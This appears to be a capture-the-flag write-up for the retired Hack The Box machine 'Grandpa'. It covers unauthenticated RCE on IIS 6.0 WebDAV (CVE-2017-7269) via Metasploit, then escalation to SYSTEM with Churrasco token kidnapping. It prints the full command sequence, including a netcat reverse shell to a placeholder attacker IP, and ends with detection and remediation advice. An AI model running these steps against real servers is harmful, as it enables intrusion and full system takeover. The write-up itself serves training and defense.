Grandpa
Executive summary — Grandpa is a “museum-piece” Easy Windows box: an IIS 6.0 (Windows Server 2003) with WebDAV vulnerable to CVE-2017-7269 gives RCE as
NETWORK SERVICE; and being an ancient Windows, we escalate toSYSTEMabusingSeImpersonatePrivilegewith Churrasco (MS09-012 Token Kidnapping). A WebDAV RCE → NETWORK SERVICE → SYSTEM path, with a detour through a restricted Meterpreter session and a writable staging folder.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] Microsoft IIS 6.0 (Windows Server 2003) · WebDAV
│ CVE-2017-7269 — ScStoragePathFromUrl overflow (WebDAV) → RCE via Metasploit
▼
[SHELL] NT AUTHORITY\NETWORK SERVICE (limited Meterpreter — stdapi restricted)
│ whoami /priv → SeImpersonatePrivilege: Enabled
│ writable C:\wmpub\ + nc.exe + churrasco.exe → MS09-012 Token Kidnapping
▼
[SYSTEM] NT AUTHORITY\SYSTEM
1. Reconnaissance
nmap -sC -sV -Pn <TARGET_IP>
80/tcp open http Microsoft IIS httpd 6.0
The clue: IIS 6.0 belongs to the Windows Server 2003/XP era — ancient by any standard. Its WebDAV service carries CVE-2017-7269, one of the most classic unauthenticated RCEs ever found in IIS, and a single open port 80 is the entire attack surface here.
2. Initial exploitation — CVE-2017-7269 (IIS 6.0 WebDAV RCE)
What CVE-2017-7269 is: a buffer overflow in the ScStoragePathFromUrl function of IIS 6.0's WebDAV service, triggered by an unauthenticated PROPFIND request with an overly long If: header. It was exploited in the wild years before being formally disclosed. Metasploit ships a ready module for it:
msfconsole
search ms09_020
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
(Meterpreter 1)(c:\windows\system32\inetsrv) >
Naming note: the module was located searching for
ms09_020(a different, older WebDAV bulletin from 2009), but the flaw it actually triggers is CVE-2017-7269 — the ScStoragePathFromUrl overflow, unrelated to that 2009 advisory. Easy mix-up given how much IIS 6/WebDAV history there is to search through.
3. A limited session — stdapi denied
The Meterpreter session comes up, but it isn't fully functional:
getuid
getsystem
Operation failed: Access is denied.
What this means: the session exists and we can run commands, but part of Meterpreter's stdapi extension is restricted in this process context —
getsystem's built-in techniques don't work here. That doesn't kill the session; it just means privilege escalation has to be done manually from a raw shell.
4. Enumerating the user and its privileges
Dropping to a native shell instead of relying on Meterpreter's restricted API:
shell
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
whoami /priv
SeImpersonatePrivilege Enabled
Why this matters:
SeImpersonatePrivilegelets a process impersonate the security token of another authenticated user or service. On these old Windows builds, service accounts likeNETWORK SERVICEroutinely hold it, and tools built around token kidnapping (the pre-Potato generation, of which Churrasco is the reference implementation) abuse exactly this to grab a SYSTEM token.
5. Staging a writable directory
Back in Meterpreter (exit from the shell), we need somewhere on disk to drop binaries:
exit
cd C:\
mkdir wmpub
Cannot create a file when that file already exists.
cd wmpub
(Meterpreter 1)(C:\wmpub) >
Why
wmpub: it already exists on Grandpa and is writable by the service account, which makes it a convenient staging folder for uploading the privilege-escalation binaries.
6. Preparing the privesc binaries on Kali
Two binaries are needed on the attacking box before uploading: a static nc.exe for the reverse shell, and churrasco.exe for the token-kidnapping exploit itself.
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
wget <url> -O churrasco.exe
Note:
churrasco.exeisn't insearchsploit's local mirror, so it has to be pulled down manually from wherever it's hosted — a reminder that not every classic tool lives in the default offline archives.
7. Uploading the binaries to the target
From the Meterpreter session inside C:\wmpub:
upload /home/hacksparrow1/nc.exe C:\wmpub\nc.exe
upload /home/hacksparrow1/churrasco.exe C:\wmpub\c.exe
ls
Churrasco is uploaded renamed as
c.exepurely for typing convenience on the target's command line.
8. Catching the SYSTEM shell — Churrasco (MS09-012 Token Kidnapping)
What MS09-012 (Token Kidnapping) is: a Windows privilege-escalation flaw where a process holding SeImpersonatePrivilege can duplicate the access token of a more privileged process (like a SYSTEM service) and use it to launch its own commands. Churrasco automates exactly that — it's the direct ancestor of today's Potato-family exploits (RottenPotato, JuicyPotato, PrintSpoofer), built for a time when NETWORK SERVICE/LOCAL SERVICE impersonation was the standard escalation trick on Windows Server 2003/2008.
Open a listener on Kali first:
nc -lvnp 4444
Then, back in the target's shell, fire Churrasco to spawn nc.exe with an impersonated SYSTEM token:
shell
C:\wmpub\c.exe -d "C:\wmpub\nc.exe -e cmd.exe <ATTACKER_IP> 4444"
The reverse connection lands on the Kali listener:
whoami
nt authority\system
SYSTEM confirmed.
9. Flags — quoting paths with spaces
Reading the flags the naive way fails, because Windows Server 2003 profile paths are full of spaces and cmd.exe stops parsing the path at the first one:
type C:\Documents and Settings\Harry\Desktop\user.txt
Fails silently/with an error —
cmd.exereadsC:\Documentsas the filename and treatsand,Settings\Harry\...as separate arguments. Wrapping the whole path in quotes fixes it:
type "C:\Documents and Settings\Harry\Desktop\user.txt"
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | IIS 6.0 WebDAV | CVE-2017-7269 (ScStoragePathFromUrl overflow) | Unauthenticated RCE as NETWORK SERVICE |
| PrivEsc | Windows Server 2003 service account | MS09-012 Token Kidnapping (SeImpersonatePrivilege) via Churrasco | SYSTEM |
Defender's view
Grandpa is an end-of-life server, so the honest defensive answer starts with "retire it". Until then, here is what it would show.
IIS 6.0 WebDAV overflow (CVE-2017-7269)
How it shows up in logs / telemetry
- The IIS log records
PROPFINDrequests from a client that has no business using WebDAV, but not the oversizedIf:header that carries the overflow, so the reliable detection is a network IDS/WAF signature for that header pattern. - Afterwards, the IIS worker process (
w3wp.exe) spawningcmd.exeis the clearest host-side signal, if process tracking is enabled.
How to fix it
- Migrate off IIS 6.0 / Windows Server 2003: it no longer receives security support, so this class of flaw is never really closed.
- Until then, disable the WebDAV extension if it is unused and block
PROPFINDand similar methods at a reverse proxy or WAF.
Token kidnapping from NETWORK SERVICE
How it shows up in logs / telemetry
- New executables appearing in
C:\wmpub, written by the web service account, are a cheap file-integrity alert. - A process running as
NETWORK SERVICEthat launchesnc.exeor a shell running as SYSTEM, plus an outbound connection from the web server, is the escalation in progress.
How to fix it
- Remove write access for service accounts on default OS folders such as
wmpub, and block outbound connections from the server. - Run each web application in its own low-privilege identity and remove
SeImpersonatePrivilegewherever it is not required. - Forward the server's security log off the box: an attacker with SYSTEM on a host this old can clear local logs at will.
Lessons learned
- End-of-life software is guaranteed RCE: IIS 6.0 / Windows Server 2003 shouldn't be reachable from any modern network.
- WebDAV is attack surface: disable it if unused, and check enabled methods with
http-methods/OPTIONS. SeImpersonatePrivilegeis a path straight to SYSTEM on service accounts — Churrasco on old Windows, Potato-family tools on modern ones. Strip it from service accounts that don't need it.- A restricted Meterpreter session isn't a dead end: drop to a raw shell, enumerate privileges, and escalate manually when the automated helpers get denied.
- Writable "public" folders (
wmpub-style) are staging grounds for attackers: audit write permissions on default OS directories, not just web roots. - Not every exploit lives in
searchsploit: classic tools like Churrasco often have to be located and fetched manually. - Windows path quoting matters: any path with spaces needs quotes in
cmd.exe, or the command silently misparses it.